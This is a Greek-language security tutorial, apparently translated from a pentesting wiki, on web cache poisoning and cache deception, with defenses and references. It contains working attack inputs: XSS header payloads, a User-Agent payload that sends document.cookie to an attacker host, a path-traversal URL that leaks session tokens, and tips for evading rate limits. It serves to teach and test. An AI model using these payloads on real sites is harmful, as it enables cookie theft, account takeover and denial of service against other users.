Cache Poisoning and Cache Deception

Reading time: 18 minutes

The difference

Ποια είναι η διαφορά μεταξύ της δηλητηρίασης της μνήμης cache και της απάτης μνήμης cache;

• Στη δηλητηρίαση της μνήμης cache, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο κακόβουλο περιεχόμενο στη μνήμη cache, και αυτό το περιεχόμενο σερβίρεται από τη μνήμη cache σε άλλους χρήστες της εφαρμογής.
• Στην απάτη μνήμης cache, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο ευαίσθητο περιεχόμενο που ανήκει σε άλλο χρήστη στη μνήμη cache, και ο επιτιθέμενος στη συνέχεια ανακτά αυτό το περιεχόμενο από τη μνήμη cache.

Cache Poisoning

Η δηλητηρίαση της μνήμης cache στοχεύει στη χειραγώγηση της μνήμης cache πλευράς πελάτη για να αναγκάσει τους πελάτες να φορτώσουν πόρους που είναι απροσδόκητοι, μερικοί ή υπό τον έλεγχο ενός επιτιθέμενου. Το εύρος της επίδρασης εξαρτάται από τη δημοτικότητα της επηρεαζόμενης σελίδας, καθώς η μολυσμένη απάντηση σερβίρεται αποκλειστικά σε χρήστες που επισκέπτονται τη σελίδα κατά την περίοδο της μόλυνσης της μνήμης cache.

Η εκτέλεση μιας επίθεσης δηλητηρίασης της μνήμης cache περιλαμβάνει αρκετά βήματα:

1. Ταυτοποίηση Μη Κλειδωμένων Εισόδων: Αυτές είναι παράμετροι που, αν και δεν απαιτούνται για να αποθηκευτεί ένα αίτημα στη μνήμη cache, μπορούν να αλλάξουν την απάντηση που επιστρέφει ο διακομιστής. Η ταυτοποίηση αυτών των εισόδων είναι κρίσιμη καθώς μπορούν να εκμεταλλευτούν για να χειραγωγήσουν τη μνήμη cache.
2. Εκμετάλλευση των Μη Κλειδωμένων Εισόδων: Αφού ταυτοποιηθούν οι μη κλειδωμένες είσοδοι, το επόμενο βήμα περιλαμβάνει την ανακάλυψη του τρόπου κακής χρήσης αυτών των παραμέτρων για να τροποποιηθεί η απάντηση του διακομιστή με τρόπο που να ωφελεί τον επιτιθέμενο.
3. Διασφάλιση ότι η Μολυσμένη Απάντηση είναι Αποθηκευμένη: Το τελικό βήμα είναι να διασφαλιστεί ότι η χειραγωγημένη απάντηση αποθηκεύεται στη μνήμη cache. Με αυτόν τον τρόπο, οποιοσδήποτε χρήστης έχει πρόσβαση στη μολυσμένη σελίδα ενώ η μνήμη cache είναι δηλητηριασμένη θα λάβει την μολυσμένη απάντηση.

Discovery: Check HTTP headers

Συνήθως, όταν μια απάντηση έχει αποθηκευτεί στη μνήμη cache θα υπάρχει μια κεφαλίδα που το υποδεικνύει, μπορείτε να ελέγξετε ποιες κεφαλίδες πρέπει να προσέξετε σε αυτή την ανάρτηση: HTTP Cache headers.

Discovery: Caching error codes

Αν σκέφτεστε ότι η απάντηση αποθηκεύεται σε μια μνήμη cache, θα μπορούσατε να προσπαθήσετε να στείλετε αιτήματα με κακή κεφαλίδα, η οποία θα πρέπει να απαντηθεί με κωδικό κατάστασης 400. Στη συνέχεια, προσπαθήστε να αποκτήσετε πρόσβαση στο αίτημα κανονικά και αν η απάντηση είναι κωδικός κατάστασης 400, ξέρετε ότι είναι ευάλωτο (και θα μπορούσατε ακόμη και να εκτελέσετε μια DoS).

Μπορείτε να βρείτε περισσότερες επιλογές σε:

Cache Poisoning to DoS

Ωστόσο, σημειώστε ότι μερικές φορές αυτοί οι τύποι κωδικών κατάστασης δεν αποθηκεύονται οπότε αυτή η δοκιμή μπορεί να μην είναι αξιόπιστη.

Discovery: Identify and evaluate unkeyed inputs

Θα μπορούσατε να χρησιμοποιήσετε Param Miner για να επιτεθείτε σε παραμέτρους και κεφαλίδες που μπορεί να αλλάζουν την απάντηση της σελίδας. Για παράδειγμα, μια σελίδα μπορεί να χρησιμοποιεί την κεφαλίδα X-Forwarded-For για να υποδείξει στον πελάτη να φορτώσει το σενάριο από εκεί:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Εξαγωγή μιας επιβλαβούς απάντησης από τον διακομιστή back-end

Με την παράμετρο/κεφαλίδα που έχει εντοπιστεί, ελέγξτε πώς καθαρίζεται και πού αντικατοπτρίζεται ή επηρεάζει την απάντηση από την κεφαλίδα. Μπορείτε να το εκμεταλλευτείτε με οποιονδήποτε τρόπο (να εκτελέσετε XSS ή να φορτώσετε έναν κωδικό JS που ελέγχετε; να εκτελέσετε DoS;...)

Λάβετε την απάντηση που έχει αποθηκευτεί στην κρυφή μνήμη

Αφού έχετε εντοπίσει τη σελίδα που μπορεί να εκμεταλλευτεί, ποια παράμετρος/κεφαλίδα να χρησιμοποιήσετε και πώς να την εκμεταλλευτείτε, πρέπει να λάβετε τη σελίδα που έχει αποθηκευτεί στην κρυφή μνήμη. Ανάλογα με τον πόρο που προσπαθείτε να αποθηκεύσετε στην κρυφή μνήμη, αυτό μπορεί να πάρει κάποιο χρόνο, ίσως χρειαστεί να προσπαθήσετε για αρκετά δευτερόλεπτα.

Η κεφαλίδα X-Cache στην απάντηση μπορεί να είναι πολύ χρήσιμη καθώς μπορεί να έχει την τιμή miss όταν το αίτημα δεν έχει αποθηκευτεί στην κρυφή μνήμη και την τιμή hit όταν είναι αποθηκευμένο.
Η κεφαλίδα Cache-Control είναι επίσης ενδιαφέρον να γνωρίζετε αν ένας πόρος αποθηκεύεται στην κρυφή μνήμη και πότε θα είναι η επόμενη φορά που ο πόρος θα αποθηκευτεί ξανά: Cache-Control: public, max-age=1800

Μια άλλη ενδιαφέρουσα κεφαλίδα είναι η Vary. Αυτή η κεφαλίδα χρησιμοποιείται συχνά για να υποδείξει πρόσθετες κεφαλίδες που θεωρούνται μέρος του κλειδιού της κρυφής μνήμης ακόμη και αν κανονικά δεν είναι κλειδωμένες. Επομένως, αν ο χρήστης γνωρίζει το User-Agent του θύματος που στοχεύει, μπορεί να δηλητηριάσει την κρυφή μνήμη για τους χρήστες που χρησιμοποιούν αυτό το συγκεκριμένο User-Agent.

Μια ακόμη κεφαλίδα σχετική με την κρυφή μνήμη είναι η Age. Ορίζει τον χρόνο σε δευτερόλεπτα που το αντικείμενο έχει παραμείνει στην κρυφή μνήμη του διακομιστή μεσολάβησης.

Όταν αποθηκεύετε ένα αίτημα στην κρυφή μνήμη, να είστε προσεκτικοί με τις κεφαλίδες που χρησιμοποιείτε γιατί μερικές από αυτές μπορεί να χρησιμοποιηθούν απροσδόκητα ως κλειδωμένες και το θύμα θα χρειαστεί να χρησιμοποιήσει αυτή την ίδια κεφαλίδα. Πάντα δοκιμάστε μια δηλητηρίαση κρυφής μνήμης με διαφορετικούς περιηγητές για να ελέγξετε αν λειτουργεί.

Παραδείγματα Εκμετάλλευσης

Ευκολότερο παράδειγμα

Μια κεφαλίδα όπως το X-Forwarded-For αντικατοπτρίζεται στην απάντηση χωρίς καθαρισμό.
Μπορείτε να στείλετε ένα βασικό payload XSS και να δηλητηριάσετε την κρυφή μνήμη ώστε όλοι όσοι έχουν πρόσβαση στη σελίδα να υποστούν XSS:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Σημειώστε ότι αυτό θα δηλητηριάσει ένα αίτημα προς /en?region=uk και όχι προς /en

Δηλητηρίαση cache για DoS

Cache Poisoning to DoS

Δηλητηρίαση cache μέσω CDNs

Στο αυτό το writeup εξηγείται το εξής απλό σενάριο:

• Ο CDN θα αποθηκεύσει οτιδήποτε βρίσκεται κάτω από /share/
• Ο CDN ΔΕΝ θα αποκωδικοποιήσει ούτε θα κανονικοποιήσει το %2F..%2F, επομένως, μπορεί να χρησιμοποιηθεί ως path traversal για πρόσβαση σε άλλες ευαίσθητες τοποθεσίες που θα αποθηκευτούν όπως https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
• Ο web server ΘΑ αποκωδικοποιήσει και θα κανονικοποιήσει το %2F..%2F, και θα απαντήσει με /api/auth/session, το οποίο περιέχει το auth token.

Χρήση δηλητηρίασης web cache για εκμετάλλευση ευπαθειών διαχείρισης cookies

Τα cookies θα μπορούσαν επίσης να ανακλώνται στην απάντηση μιας σελίδας. Αν μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε XSS, για παράδειγμα, θα μπορούσατε να είστε σε θέση να εκμεταλλευτείτε XSS σε αρκετούς πελάτες που φορτώνουν την κακόβουλη απάντηση cache.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Σημειώστε ότι αν το ευάλωτο cookie χρησιμοποιείται πολύ από τους χρήστες, οι κανονικές αιτήσεις θα καθαρίζουν την cache.

Δημιουργία διαφορών με διαχωριστικά, κανονικοποίηση και τελείες

Ελέγξτε:

Cache Poisoning via URL discrepancies

Δηλητηρίαση cache με διαδρομή traversal για κλοπή API key

Αυτή η αναφορά εξηγεί πώς ήταν δυνατό να κλέψετε ένα OpenAI API key με μια διεύθυνση URL όπως https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 επειδή οτιδήποτε ταιριάζει με /share/* θα αποθηκευτεί στην cache χωρίς την κανονικοποίηση της διεύθυνσης URL από το Cloudflare, κάτι που έγινε όταν η αίτηση έφτασε στον web server.

Αυτό εξηγείται επίσης καλύτερα σε:

Cache Poisoning via URL discrepancies

Χρήση πολλαπλών κεφαλίδων για εκμετάλλευση ευπαθειών δηλητηρίασης cache

Μερικές φορές θα χρειαστεί να εκμεταλλευτείτε αρκετές μη κλειδωμένες εισόδους για να μπορέσετε να καταχραστείτε μια cache. Για παράδειγμα, μπορεί να βρείτε μια Ανοιχτή ανακατεύθυνση αν ορίσετε το X-Forwarded-Host σε ένα domain που ελέγχετε και το X-Forwarded-Scheme σε http. Αν ο server προωθεί όλα τα HTTP αιτήματα σε HTTPS και χρησιμοποιεί την κεφαλίδα X-Forwarded-Scheme ως το όνομα του domain για την ανακατεύθυνση. Μπορείτε να ελέγξετε πού δείχνει η σελίδα μέσω της ανακατεύθυνσης.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Εκμετάλλευση με περιορισμένο Vary header

Αν διαπιστώσετε ότι το X-Host header χρησιμοποιείται ως όνομα τομέα για τη φόρτωση ενός JS πόρου αλλά το Vary header στην απάντηση υποδεικνύει User-Agent. Τότε, πρέπει να βρείτε έναν τρόπο να εξάγετε το User-Agent του θύματος και να δηλητηριάσετε την cache χρησιμοποιώντας αυτό το user agent:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Στείλτε ένα GET αίτημα με το αίτημα στο URL και στο σώμα. Αν ο web server χρησιμοποιεί αυτό από το σώμα αλλά ο cache server αποθηκεύει αυτό από το URL, οποιοσδήποτε έχει πρόσβαση σε αυτό το URL θα χρησιμοποιήσει στην πραγματικότητα την παράμετρο από το σώμα. Όπως η ευπάθεια που βρήκε ο James Kettle στον ιστότοπο του Github:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Για παράδειγμα, είναι δυνατόν να διαχωρίσετε παραμέτρους σε διακομιστές ruby χρησιμοποιώντας τον χαρακτήρα ; αντί για &. Αυτό θα μπορούσε να χρησιμοποιηθεί για να τοποθετήσετε τις τιμές παραμέτρων χωρίς κλειδί μέσα σε αυτές με κλειδί και να τις εκμεταλλευτείτε.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Μάθετε εδώ πώς να εκτελέσετε Cache Poisoning attacks by abusing HTTP Request Smuggling.

Automated testing for Web Cache Poisoning

Ο Web Cache Vulnerability Scanner μπορεί να χρησιμοποιηθεί για αυτόματη δοκιμή για web cache poisoning. Υποστηρίζει πολλές διαφορετικές τεχνικές και είναι πολύ παραμετροποιήσιμος.

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

Αυτό το πραγματικό μοτίβο αλυσίδωει μια βασισμένη σε κεφαλίδα ανακλαστική πρωτοβουλία με τη συμπεριφορά CDN/WAF για να δηλητηριάσει αξιόπιστα το cached HTML που σερβίρεται σε άλλους χρήστες:

• Το κύριο HTML αντανάκλασε μια μη αξιόπιστη κεφαλίδα αιτήματος (π.χ., User-Agent) σε εκτελέσιμο πλαίσιο.
• Ο CDN αφαίρεσε τις κεφαλίδες cache αλλά υπήρχε μια εσωτερική/προέλευσης cache. Ο CDN επίσης αυτο-καταχώρισε αιτήματα που τελείωναν σε στατικές επεκτάσεις (π.χ., .js), ενώ ο WAF εφαρμοζε ασθενέστερη επιθεώρηση περιεχομένου σε GETs για στατικά περιουσιακά στοιχεία.
• Οι ιδιορρυθμίες ροής αιτήσεων επέτρεψαν σε ένα αίτημα σε μια διαδρομή .js να επηρεάσει το κλειδί/παραλλαγή cache που χρησιμοποιήθηκε για το επόμενο κύριο HTML, επιτρέποντας cross-user XSS μέσω ανακλαστικής κεφαλίδας.

Practical recipe (observed across a popular CDN/WAF):

1. Από μια καθαρή IP (αποφύγετε τις προηγούμενες υποβαθμίσεις βάσει φήμης), ορίστε ένα κακόβουλο User-Agent μέσω του προγράμματος περιήγησης ή του Burp Proxy Match & Replace.
2. Στο Burp Repeater, προετοιμάστε μια ομάδα δύο αιτημάτων και χρησιμοποιήστε "Send group in parallel" (λειτουργία single-packet λειτουργεί καλύτερα):

• Πρώτο αίτημα: GET μια διαδρομή πόρου .js στην ίδια προέλευση ενώ στέλνετε το κακόβουλο User-Agent σας.
• Άμεσα μετά: GET την κύρια σελίδα (/).

3. Ο αγώνας δρομολόγησης CDN/WAF συν το αυτο-καταχωρημένο .js συχνά σπέρνει μια δηλητηριασμένη παραλλαγή cached HTML που στη συνέχεια σερβίρεται σε άλλους επισκέπτες που μοιράζονται τις ίδιες συνθήκες κλειδιού cache (π.χ., ίδιες διαστάσεις Vary όπως User-Agent).

Example header payload (to exfiltrate non-HttpOnly cookies):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operational tips:

• Πολλές CDNs κρύβουν τις κεφαλίδες cache; η δηλητηρίαση μπορεί να εμφανιστεί μόνο σε κύκλους ανανέωσης πολλών ωρών. Χρησιμοποιήστε πολλαπλές IP vantage και περιορίστε την ταχύτητα για να αποφύγετε τα triggers περιορισμού ρυθμού ή φήμης.
• Η χρήση μιας IP από το δικό cloud της CDN μερικές φορές βελτιώνει τη συνέπεια δρομολόγησης.
• Εάν υπάρχει αυστηρό CSP, αυτό εξακολουθεί να λειτουργεί εάν η αντανάκλαση εκτελείται στο κύριο HTML πλαίσιο και το CSP επιτρέπει την εκτέλεση inline ή παρακάμπτεται από το πλαίσιο.

Impact:

• Εάν τα session cookies δεν είναι HttpOnly, είναι δυνατή η zero-click ATO με τη μαζική εξαγωγή του document.cookie από όλους τους χρήστες που εξυπηρετούνται από το δηλητηριασμένο HTML.

Defenses:

• Σταματήστε να ανακλάτε τις κεφαλίδες αιτήσεων στο HTML; κωδικοποιήστε αυστηρά το πλαίσιο εάν είναι αναπόφευκτο. Ευθυγραμμίστε τις πολιτικές cache της CDN και της προέλευσης και αποφύγετε τις μεταβολές σε μη αξιόπιστες κεφαλίδες.
• Βεβαιωθείτε ότι το WAF εφαρμόζει την επιθεώρηση περιεχομένου με συνέπεια σε αιτήσεις .js και στατικές διαδρομές.
• Ορίστε HttpOnly (και Secure, SameSite) στα session cookies.

Vulnerable Examples

Apache Traffic Server (CVE-2021-27577)

Το ATS προώθησε το τμήμα μέσα στη διεύθυνση URL χωρίς να το αφαιρέσει και δημιούργησε το κλειδί cache χρησιμοποιώντας μόνο τον host, τη διαδρομή και το query (αγνοώντας το τμήμα). Έτσι, το αίτημα /#/../?r=javascript:alert(1) στάλθηκε στο backend ως /#/../?r=javascript:alert(1) και το κλειδί cache δεν είχε το payload μέσα του, μόνο host, διαδρομή και query.

GitHub CP-DoS

Η αποστολή μιας κακής τιμής στην κεφαλίδα content-type προκάλεσε μια 405 cached απάντηση. Το κλειδί cache περιείχε το cookie, οπότε ήταν δυνατό να επιτεθεί μόνο σε μη εξουσιοδοτημένους χρήστες.

GitLab + GCP CP-DoS

Το GitLab χρησιμοποιεί GCP buckets για να αποθηκεύει στατικό περιεχόμενο. GCP Buckets υποστηρίζουν την κεφαλίδα x-http-method-override. Έτσι, ήταν δυνατό να σταλεί η κεφαλίδα x-http-method-override: HEAD και να δηλητηριαστεί η cache ώστε να επιστρέφει ένα κενό σώμα απάντησης. Μπορούσε επίσης να υποστηρίξει τη μέθοδο PURGE.

Rack Middleware (Ruby on Rails)

Σε εφαρμογές Ruby on Rails, συχνά χρησιμοποιείται το Rack middleware. Ο σκοπός του κώδικα Rack είναι να πάρει την τιμή της κεφαλίδας x-forwarded-scheme και να την ορίσει ως το σχήμα του αιτήματος. Όταν σταλεί η κεφαλίδα x-forwarded-scheme: http, συμβαίνει μια 301 ανακατεύθυνση στην ίδια τοποθεσία, προκαλώντας ενδεχομένως μια Άρνηση Υπηρεσίας (DoS) σε αυτόν τον πόρο. Επιπλέον, η εφαρμογή μπορεί να αναγνωρίσει την κεφαλίδα X-forwarded-host και να ανακατευθύνει τους χρήστες στον καθορισμένο host. Αυτή η συμπεριφορά μπορεί να οδηγήσει στη φόρτωση αρχείων JavaScript από τον διακομιστή ενός επιτιθέμενου, θέτοντας σε κίνδυνο την ασφάλεια.

403 and Storage Buckets

Η Cloudflare προηγουμένως αποθήκευε 403 απαντήσεις. Η προσπάθεια πρόσβασης σε S3 ή Azure Storage Blobs με λανθασμένες κεφαλίδες εξουσιοδότησης θα είχε ως αποτέλεσμα μια 403 απάντηση που αποθηκεύτηκε. Αν και η Cloudflare έχει σταματήσει να αποθηκεύει 403 απαντήσεις, αυτή η συμπεριφορά μπορεί να είναι ακόμα παρούσα σε άλλες υπηρεσίες proxy.

Injecting Keyed Parameters

Οι caches συχνά περιλαμβάνουν συγκεκριμένες παραμέτρους GET στο κλειδί cache. Για παράδειγμα, το Varnish της Fastly αποθήκευε την παράμετρο size σε αιτήσεις. Ωστόσο, εάν μια URL-encoded έκδοση της παραμέτρου (π.χ. siz%65) αποστέλλεται επίσης με λανθασμένη τιμή, το κλειδί cache θα κατασκευαστεί χρησιμοποιώντας την σωστή παράμετρο size. Ωστόσο, το backend θα επεξεργαστεί την τιμή στην URL-encoded παράμετρο. Η URL-encoding της δεύτερης παραμέτρου size οδήγησε στην παράλειψή της από την cache αλλά στη χρήση της από το backend. Η εκχώρηση μιας τιμής 0 σε αυτή την παράμετρο είχε ως αποτέλεσμα ένα cacheable 400 Bad Request σφάλμα.

User Agent Rules

Ορισμένοι προγραμματιστές αποκλείουν αιτήσεις με user-agents που ταιριάζουν με εκείνα εργαλείων υψηλής κυκλοφορίας όπως το FFUF ή το Nuclei για να διαχειριστούν το φορτίο του διακομιστή. Σαφώς, αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες όπως η δηλητηρίαση cache και DoS.

Illegal Header Fields

Το RFC7230 καθορίζει τους αποδεκτούς χαρακτήρες στις κεφαλίδες. Οι κεφαλίδες που περιέχουν χαρακτήρες εκτός της καθορισμένης tchar περιοχής θα πρέπει ιδανικά να προκαλούν μια 400 Bad Request απάντηση. Στην πράξη, οι διακομιστές δεν τηρούν πάντα αυτό το πρότυπο. Ένα αξιοσημείωτο παράδειγμα είναι η Akamai, η οποία προωθεί κεφαλίδες με μη έγκυρους χαρακτήρες και αποθηκεύει οποιοδήποτε 400 σφάλμα, εφόσον η κεφαλίδα cache-control δεν είναι παρούσα. Ένα εκμεταλλεύσιμο μοτίβο εντοπίστηκε όπου η αποστολή μιας κεφαλίδας με έναν παράνομο χαρακτήρα, όπως το \, θα είχε ως αποτέλεσμα ένα cacheable 400 Bad Request σφάλμα.

Finding new headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

Ο στόχος της Cache Deception είναι να κάνει τους πελάτες να φορτώνουν πόρους που πρόκειται να αποθηκευτούν από την cache με τις ευαίσθητες πληροφορίες τους.

Πρώτα απ' όλα σημειώστε ότι οι επέκταση όπως .css, .js, .png κ.λπ. είναι συνήθως ρυθμισμένες να αποθηκεύονται στην cache. Επομένως, αν αποκτήσετε πρόσβαση στο www.example.com/profile.php/nonexistent.js, η cache θα αποθηκεύσει πιθανώς την απάντηση επειδή βλέπει την επέκταση .js. Αλλά, αν η εφαρμογή αναπαράγει με το ευαίσθητο περιεχόμενο χρήστη που αποθηκεύεται στο www.example.com/profile.php, μπορείτε να κλέψετε αυτά τα περιεχόμενα από άλλους χρήστες.

Άλλα πράγματα για δοκιμή:

• www.example.com/profile.php/.js
• www.example.com/profile.php/.css
• www.example.com/profile.php/test.js
• www.example.com/profile.php/../test.js
• www.example.com/profile.php/%2e%2e/test.js
• Χρησιμοποιήστε λιγότερο γνωστές επεκτάσεις όπως .avif

Ένα πολύ σαφές παράδειγμα μπορεί να βρεθεί σε αυτή τη γραφή: https://hackerone.com/reports/593712.
Στο παράδειγμα, εξηγείται ότι αν φορτώσετε μια ανύπαρκτη σελίδα όπως http://www.example.com/home.php/non-existent.css, το περιεχόμενο του http://www.example.com/home.php (με τις ευαίσθητες πληροφορίες του χρήστη) θα επιστραφεί και ο διακομιστής cache θα αποθηκεύσει το αποτέλεσμα.
Στη συνέχεια, ο επιτιθέμενος μπορεί να αποκτήσει πρόσβαση στο http://www.example.com/home.php/non-existent.css στον δικό του περιηγητή και να παρατηρήσει τις εμπιστευτικές πληροφορίες των χρηστών που είχαν πρόσβαση πριν.

Σημειώστε ότι ο cache proxy θα πρέπει να είναι ρυθμισμένος να αποθηκεύει αρχεία βάσει της επέκτασης του αρχείου (.css) και όχι βάσει του content-type. Στο παράδειγμα http://www.example.com/home.php/non-existent.css θα έχει ένα text/html content-type αντί για ένα text/css mime type (το οποίο είναι το αναμενόμενο για ένα .css αρχείο).

Μάθετε εδώ πώς να εκτελέσετε Cache Deceptions επιθέσεις εκμεταλλευόμενοι το HTTP Request Smuggling.

Automatic Tools

• toxicache: Σαρωτής Golang για να βρει ευπάθειες δηλητηρίασης web cache σε μια λίστα URL και να δοκιμάσει πολλές τεχνικές ένεσης.

References

• https://portswigger.net/web-security/web-cache-poisoning
• https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
• https://hackerone.com/reports/593712
• https://youst.in/posts/cache-poisoning-at-scale/
• https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
• https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
• How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
• Burp Proxy Match & Replace